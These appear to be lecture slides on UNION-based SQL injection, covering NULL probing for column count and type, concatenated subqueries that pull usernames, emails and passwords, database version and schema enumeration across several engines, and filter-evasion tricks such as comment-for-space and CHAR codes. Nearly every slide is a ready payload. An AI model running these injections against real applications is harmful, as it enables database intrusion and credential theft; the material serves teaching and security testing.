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Pulling data

- Use the Union operator
- This joins rows from another table into the results
- Very powerful, but:
 - Two result sets must have the same structure,
 with the same number of columns and compatible data types
 - Must know the name of the database table and relevant columns

Example

A book search uses the following query:

SELECT author, title, publisher FROM books WHERE title = '1984'

• Which returns:

| Author | Title | Publisher |
|---------------|-------|--------------------|
| George Orwell | 1984 | Secker and Warburg |
| | | |

Example cont.

 You can inject a union query to pull from the users table like so:

```
1984' UNION SELECT username, email, password FROM users --
```

Which results in the following query:

```
SELECT author, title, publisher FROM books WHERE title = '1984' UNION SELECT username, email, password FROM users --'
```

Example cont.

• Which returns:

| Author | Title | Publisher |
|---------------|----------------------|--------------------|
| George Orwell | 1984 | Secker and Warburg |
| Jim Roberts | jim@mailtothis.com | Screamingeagle! |
| Alice Jones | alice@mailinator.com | IloveC4ts123 |

Length incompatibility

What if the original query looks like this:

```
SELECT author, title, year, publisher FROM books WHERE title = '1984'
```

 And the users table only has 3 columns: username, email, and password

This:

```
SELECT author, title, publisher, year FROM books WHERE title = '1984' UNION SELECT username, email, password FROM users --'
```

You will get this error:

```
"query block has incorrect number of result columns"
```

Type incompatibility

What if the original query looks like this:

```
SELECT author, title, year FROM books WHERE title = '1984'
```

 And the users table has 3 string columns: username, email, and password

This:

```
SELECT author, title, year FROM books WHERE title = '1984' UNION SELECT username, email, password FROM users --'
```

You will get this error:

```
"expression must have same datatype as corresponding expression"
```

Magic of Nulls

- The results of the injected query must have compatible data types, not necessarily the same type
- Null can be converted into any data type
- So If you don't know a fields data type, use a Null!
- Length incompatibility:
 - SELECT author, title, publisher, year FROM books WHERE title = '1984' UNION SELECT NULL, NULL, NULL, NULL --'
- Type incompatibility:
 - SELECT author, title, year FROM books WHERE title = '1984' UNION SELECT NULL, NULL --'

Using Nulls

- Start by injecting:
 - 'UNION SELECT NULL --
 - ' UNION SELECT NULL, NULL --
 - 'UNION SELECT NULL, NULL, NULL --
 - and so on until one works
- Then try injecting:
 - 'UNION SELECT 'A', NULL, NULL --
 - 'UNION SELECT NULL, 'A', NULL --
 - 'UNION SELECT NULL, NULL, 'A' --
 - This will tell you which column is a string data type

Figure out data type

- In order to exfiltrate data (without blind injection techniques) you need to find at least one returned field that is a string
- Results of subsequent string queries can be put in this string field and returned to the attacker

Example

 Lets say you only have one string field returned:

```
SELECT author, year FROM books WHERE title = '1984'
```

- But you want to pull username, email, and password in one query
- How would you do this?

Example cont.

Try concatenating sub-queries:

```
- 1984' UNION SELECT (SELECT username FROM users)||':'||(SELECT email FROM users)||':'||(SELECT password FROM users), NULL--
```

Which results in:

```
- SELECT author, year FROM books WHERE title = '1984' UNION SELECT
  (SELECT username FROM users)||':'||(SELECT email FROM
  users)||':'||(SELECT password FROM users), NULL--'
```

• Which returns:

| Author | Year |
|------------------------------------|------|
| George Orwell | 1949 |
| bob:bob@gmail.com:PugsAreTheBest11 | NULL |

Version number

- With MSSQL and MySQL you can use:
 - @@version
 - 'UNION SELECT @@version, NULL, NULL--
- With Oracle
 - Banner from v\$version
 - ' UNION SELECT banner, NULL, NULL FROM
 v\$version--
- With SQLite
 - sqlite_version()

Table and column names

- Query the metadata table called information_schema.columns
 - Contains all table and columns names in the DB
 - MS-SQL and MySQL use information_schema
 - Oracle uses user_tab_columns
 - SQLite uses sqlite_master
 - A' UNION SELECT table_name, column_name, NULL, NULL, NULL FROM information_schema.columns --
 - Note:
 - http://stackoverflow.com/questions/205736/get-list-of-all-tables-in-oracle
 - http://dba.stackexchange.com/questions/21266/understanding-oracles-all-tab-columns

Table and column names cont.

- If you only have one string field to pull data through try concatenating results:
 - Oracle: SELECT table_name||':'||column_name FROM
 all_tab_columns
 - MS-SQL: SELECT table_name+':'+column_name FROM information_schema.columns
 - MySQL: SELECT CONCAT(table_name,':',column_name) from information_schema.columns
 - SQLite: SELECT name||':'||sql from sqlite_master WHERE
 type='table'

Restricted characters

- Use character codes for individual characters
 - Oracle: CHR(41)
 - MS-SQL: CHAR(41)
 - MySQL: CHAR(41)
 - SQLite: cast(X'41' as text)

No spaces

Use comments between words

```
SELECT/*a*/username/*a*/FROM/*a*/users
```

Can also be used to breakup keywords (in some cases)

```
SEL/*a*/ECT username FR/*a*/OM users
```

No comments

Cleanly close the statements

$$'$$
 or $1=1-- => '$ or $'1'='1$